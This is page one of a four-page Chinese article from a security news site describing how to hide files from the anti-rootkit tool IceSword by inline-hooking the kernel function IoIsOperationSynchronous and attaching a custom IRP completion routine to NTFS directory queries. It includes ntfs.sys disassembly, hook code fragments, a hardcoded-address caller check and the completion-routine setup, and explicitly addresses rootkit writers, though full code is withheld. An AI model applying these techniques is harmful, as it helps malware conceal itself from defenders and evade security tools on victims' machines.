个人 企业
用户名:
密码:
 
企业服务   安全学院   安全资讯
安全动态  |  前沿技术  |  黑客防范安全漏洞防毒杀毒编程技术安全案例 |  电子政务产品推荐网管技术安全采购产品测评在线代理OICQ
检测评估安全学院软件下载互动交流安全沙龙应急咨询技术认证安全人才技术社区嘉宾聊天安全调查文章评论服务专线BLOG
  资讯 频道 国内    

一分钟注册享受免费网站安全评估

新闻热点

美国谋划夺取全球“制网权”
攻击指定IP地址及端口的黑客病毒
“黑客”三天侵吞21万获刑11年
微软浏览器IE7被发现存在两个漏洞
黑客入侵万达广场网站 提醒修复漏洞

软件热点
完美卸载V2007 完整版
防黑菜鸟必学系列视频教程
c语言视频教学30讲第14讲
黑客攻防绝招之三十六计
redhatlinux9安装的全程录像
IIS6最佳安全性实战
 
 
Icesword实现文件隐藏
时间:2008-3-1 11:47:18 作者:  出处:华盟收集

先介绍一下icesword是如何查找文件的。基本原理就是自己构造一个irp出来,然后直接IoCallDriver发送到fsd。但是icesword做了更多的工作。它直接读取ntfs.sys 和fastfat.sys,从pe文件格式的角度上计算出正确的fsd的dispatch routine地址,然后再call。而且icesword自己实现了一个IoCallDriver。所以一般的fsd hook是对付不了icesword的。

  前段时间cardmagic公布了一种方法,hook IofCompleteRequest。然后在UserBuffer里处理要隐藏的文件。到目前位置,api hook 基本上走到尽头了。那么如果要处理 call dispatch routine 后的buffer还可以在哪里下手呢?

  写过驱动的人容易知道,一般的filter类驱动在往下层驱动传递irp的时候会设置一个完成函数,就是CompletionRoutine。IofCallDriver 调用下层驱动,下层驱动处理完成之后CompletionRoutine 就会被调用。那么我们能不能hook掉查询文件的irp 的完成函数呢?调试的时候发现当 MajorFunction==IRP_MJ_DIRECTORY_CONTROL, MinorFunction==IRP_MN_QUERY_DIRECTORY 的时候IrpStackLocation中的CompletionRoutine的是空的。如何解决呢?先总结一下,现在面临两个问题:

  1 如何得到icesword下发的irp ?

  2 如何为捕获到的irp设置一个callback的完成函数?

  下面我来逐个突破:

  icesword毕竟还是基于os开发的东西,所以它不可能独立于os去做所有的事。就是说\\FileSystem\\ntfs 的IRP_MJ_DIRECTORY_CONTROL的处理函数它一定会被调用。既然我们不能hook这个dispatch routine,那么我们是否可以hook 这个routine中调用过的函数,然后判断函数返回地址,和dispatch routine的地址做比较以此来判断是否在查询文件。

  先看ntfs.sys的开头部分代码:

  INIT:0009527E mov dword ptr [esi+7Ch], offset _NtfsFsdLockControl@8 ; NtfsFsdLockControl(x,x)

  INIT:00095285 mov dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 ; NtfsFsdDirectoryControl(x,x)

  INIT:0009528C mov dword ptr [esi+50h], offset _NtfsFsdSetInformation@8 ; NtfsFsdSetInformation(x,x)

  INIT:00095293 mov dword ptr [esi+38h], offset _NtfsFsdCreate@8 ; NtfsFsdCreate(x,x)

  INIT:0009529A mov dword ptr [esi+40h], offset _NtfsFsdClose@8 ; NtfsFsdClose(x,x)

  INIT:000952A1 mov dword ptr [esi+44h], offset _NtfsFsdRead@8 ; NtfsFsdRead(x,x)

  INIT:000952A8 mov dword ptr [esi+48h], offset _NtfsFsdWrite@8 ; NtfsFsdWrite(x,x)

  INIT:000952AF mov dword ptr [esi+5Ch], offset _NtfsFsdFlushBuffers@8 ; NtfsFsdFlushBuffers(x,x)

  INIT:000952B6 mov dword ptr [esi+6Ch], offset _NtfsFsdFileSystemControl@8 ; NtfsFsdFileSystemControl(x,x)

  INIT:000952BD mov dword ptr [esi+80h], offset _NtfsFsdCleanup@8 ; NtfsFsdCleanup(x,x)

  INIT:000952C7 mov dword ptr [esi+78h], offset _NtfsFsdShutdown@8 ; NtfsFsdShutdown(x,x)

  INIT:000952CE mov dword ptr [esi+0A4h], offset _NtfsFsdPnp@8 ; NtfsFsdPnp(x,x)

  INIT:000952D8 mov dword ptr [esi+28h], offset _NtfsFastIoDispatch

  INIT:000952DF mov eax, offset _NtfsFsdDispatchWait@8 ; NtfsFsdDispatchWait(x,x)

  开头这部分是初始化驱动的分发历程,我们需要关注的是 mov dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 , 跟进来:

  PAGE:00037FBD push 14Ch

  PAGE:00037FC2 push offset unk_28848

  PAGE:00037FC7 call __SEH_prolog

  PAGE:00037FCC xor edi, edi

  PAGE:00037FCE mov [ebp+var_1C], edi

 

PAGE:00037FD1 call ds:__imp__KeEnterCriticalRegion@0 ; KeEnterCriticalRegion()

  PAGE:00037FD7 push 1

  PAGE:00037FD9 push 1

  PAGE:00037FDB lea eax, [ebp+var_4C]

  PAGE:00037FDE push eax

  PAGE:00037FDF call _NtfsInitializeTopLevelIrp@12 ; NtfsInitializeTopLevelIrp(x,x,x)

  PAGE:00037FE4 mov esi, eax

  PAGE:00037FE6 mov [ebp+var_20], esi

  PAGE:00037FE9

  PAGE:00037FE9 loc_37FE9: ; CODE XREF: MakeRoomForAttribute(x,x,x,x)+2B19j

  PAGE:00037FE9 xor ebx, ebx

  PAGE:00037FEB mov [ebp+ms_exc.disabled], ebx

  PAGE:00037FEE cmp [ebp+var_1C], ebx

  PAGE:00037FF1 jnz short loc_3806C

  PAGE:00037FF3 mov byte ptr [ebp+var_24], bl

  PAGE:00037FF6 push [ebp+arg_4]

  PAGE:00037FF9 call ds:__imp__IoIsOperationSynchronous@4 ; IoIsOperationSynchronous(x) // 我想从这个函数下手

  PAGE:00037FFF test al, al

  PAGE:00038001 jz short loc_38010

  PAGE:00038003 mov byte ptr [ebp+var_24], 1

  PAGE:00038007 lea eax, [ebp+var_15C]

  PAGE:0003800D mov [ebp+var_1C], eax

  PAGE:00038010

  PAGE:00038010 loc_38010: ; CODE XREF: NtfsFsdDirectoryControl(x,x)+44j

  PAGE:00038010 lea eax, [ebp+var_1C]

  PAGE:00038013 push eax

  PAGE:00038014 push [ebp+var_24]

  PAGE:00038017 push [ebp+arg_4]

  PAGE:0003801A call _NtfsInitializeIrpContext@12 ; NtfsInitializeIrpContext(x,x,x)

 

这个dispatch routine的开始不远处有对IoIsOperationSynchronous的调用。我看能不能方便的hook这个函数,打开windbg,选择local kernel debuging。

  lkd> u IoIsOperationSynchronous

  nt!IoIsOperationSynchronous:

  804f0808 8bff mov edi,edi

  804f080a 55 push ebp

  804f080b 8bec mov ebp,esp

  804f080d 8b4508 mov eax,dword ptr [ebp+8]

  804f0810 8b4860 mov ecx,dword ptr [eax+60h]

  804f0813 8b4918 mov ecx,dword ptr [ecx+18h]

  好的,函数被导出。我们直接直接inline hook它。

  hook的代码片段:

  //-----------------------------------------------------------

  GetKernelModuleAddress();

  HookFunction(kernelBaseAddress, "IoIsOperationSynchronous", MyIoIsOperationSynchronous, (ULONG*)&OldIoIsOperationSynchronous);

  irql = KeRaiseIrqlToDpcLevel();

  returnAddr = HookCode((PVOID)OldIoIsOperationSynchronous, (PVOID)MyIoIsOperationSynchronous);

  KeLowerIrql(irql);

  //------------------------- code ends here--------------------

  如何判断是否是在文件系统的IRP_MJ_DIRECTORY_CONTROL函数中被调用的呢?

  ULONG callerAddr = 0;

  _asm mov eax,[ebp+4] // 得到返回地址

  _asm mov callerAddr,eax

  if(callerAddr - 0xbfefb69d < 120) 和fsd 的dispatch routine入口地址比较

  {

  HackIrp(Irp);

  }

  注:0xbfefb69d 这个是我调试的时候得到的地址,我直接硬编码了。

 

 到此为止,第一个问题解决了,所以现在可以捕获到icesword查询文件的irp了。

  第2个问题,如何接管完成函数。

  之前发现,ntfs驱动的dispatch routine是没有设置CompletionRoutine的。那么我就来给他设置一个。设置完成函数的api是IoSetCompletionRoutine。但是这个函数是给下层驱动设置完成函数的。我们现在是需要给当前的 stack location 设置CompletionRoutine。ok,看一下IoSetCompletionRoutine,从wrk中找源码:

  #define IoSetCompletionRoutine( Irp, Routine, CompletionContext, Success, Error, Cancel ) { \

  PIO_STACK_LOCATION __irpSp; \

  ASSERT( ((Success) | (Error) | (Cancel)) ? (Routine) != NULL : TRUE ); \

  __irpSp = IoGetNextIrpStackLocation( (Irp) ); \

  __irpSp->CompletionRoutine = (Routine); \

  __irpSp->Context = (CompletionContext); \

  __irpSp->Control = 0; \

  if ((Success)) { __irpSp->Control = SL_INVOKE_ON_SUCCESS; } \

  if ((Error)) { __irpSp->Control |= SL_INVOKE_ON_ERROR; } \

  if ((Cancel)) { __irpSp->Control |= SL_INVOKE_ON_CANCEL; } }

  看了源码马上知道该怎么做了。(如果你还没知道那就不用知道了...)

  ok,下面为fsd处理IRP_MJ_DIRECTORY_CONTROL的routine设置CompletionRoutine

  irpSp->CompletionRoutine = MyFilterFiles;

  irpSp->Context = Irp->UserBuffer;

  irpSp->Control = 0;

  irpSp->Control = SL_INVOKE_ON_SUCCESS;

  irpSp->Control |= SL_INVOKE_ON_ERROR;

  irpSp->Control |= SL_INVOKE_ON_CANCEL;

  函数MyFilterFiles是被我们控制的,所以我们可以在里面隐藏掉想要隐藏的文件。MyFilterFiles的实现不写了,参见cardmagic就可以了。

  做到这里我认为我可以成功了,但是我拿到虚拟机里一试,机器篮屏了。出错的module是icesword的驱动。郁闷了。这是vxk提醒了我。原来icesword自己设置了完成函数。下断点,调试,icesword果然有自己的完成函数。(严重感谢vxk)解决这个问题不难,不管它的完成函数是怎么实现的,CompletionRoutine的函数原型基本是固定的。所以我只需要在MyFilterFiles处理完Irp->UserBuffer后 , push参数进去,然后call icesword的完成函数就行了。

  至此,突破icesword实现文件隐藏的全部工作完成了。完整的代码我不就放出来的。对于写rootkit的人们来说知道了思路就已经足够了。放完整的代码出来如果被一些流氓直接a过去就不和谐了。

  另外,要想比较完美的实现还有几个小细节问题要处理。譬如如何得到IRP_MJ_DIRECTORY_CONTROL处理routine的正确地址,这个可以像icesword一样map 磁盘文件,然后自己计算。其余的问题我一时想不起来了,昨天失眠……

总计4页    1  [2]  [3]  [4]  下一页

评论 | 收藏 | | 打印 | 关闭
相关新闻链接
     
关于Sec120 | 服务产品 | 联系我们 | 招贤纳才 | 广告服务 | 网站律师 | 网站地图 | 我要投稿

 

互联安全网  粤ICP备06118359 Copyright 1999-2007 All Right Reserved.